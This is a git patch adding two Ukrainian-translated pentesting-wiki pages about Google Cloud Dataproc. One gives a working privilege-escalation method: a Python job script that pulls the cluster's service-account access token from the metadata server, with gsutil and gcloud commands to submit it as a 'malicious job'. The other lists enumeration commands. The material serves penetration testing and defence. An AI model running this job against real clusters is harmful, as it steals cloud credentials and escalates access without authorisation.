From b2b67c04db2b7bf03ea85039739d4ae65e981d10 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 21:46:24 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-dataproc-privesc.md | 54 +++++++++++++++++++ .../gcp-services/gcp-dataproc-enum.md | 43 +++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..31eba19ad --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +Мені не вдалося отримати зворотний шелл за допомогою цього методу, однак можливо витягти токен SA з кінцевої точки метаданих, використовуючи метод, описаний нижче. + +#### Кроки для експлуатації + +- Розмістіть скрипт завдання в GCP Bucket + +- Подайте завдання до кластера Dataproc. + +- Використовуйте завдання для доступу до сервера метаданих. + +- Витягніть токен облікового запису служби, що використовується кластером. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..e2b1640aa --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Основна інформація + +Google Cloud Dataproc - це повністю керована служба для запуску Apache Spark, Apache Hadoop, Apache Flink та інших фреймворків великих даних. Вона в основному використовується для обробки даних, запитів, машинного навчання та аналітики потоків. Dataproc дозволяє організаціям легко створювати кластери для розподілених обчислень, безперешкодно інтегруючись з іншими службами Google Cloud Platform (GCP), такими як Cloud Storage, BigQuery та Cloud Monitoring. + +Кластери Dataproc працюють на віртуальних машинах (VM), а обліковий запис служби, пов'язаний з цими VM, визначає дозволи та рівень доступу до кластера. + +## Компоненти + +Кластер Dataproc зазвичай включає: + +Master Node: Керує ресурсами кластера та координує розподілені завдання. + +Worker Nodes: Виконують розподілені завдання. + +Service Accounts: Обробляють API виклики та отримують доступ до інших служб GCP. + +## Перерахування + +Кластери Dataproc, завдання та конфігурації можна перерахувати для збору чутливої інформації, такої як облікові записи служби, дозволи та потенційні неправильні налаштування. + +### Перерахування кластерів + +Щоб перерахувати кластери Dataproc та отримати їх деталі: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Перерахунок завдань +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}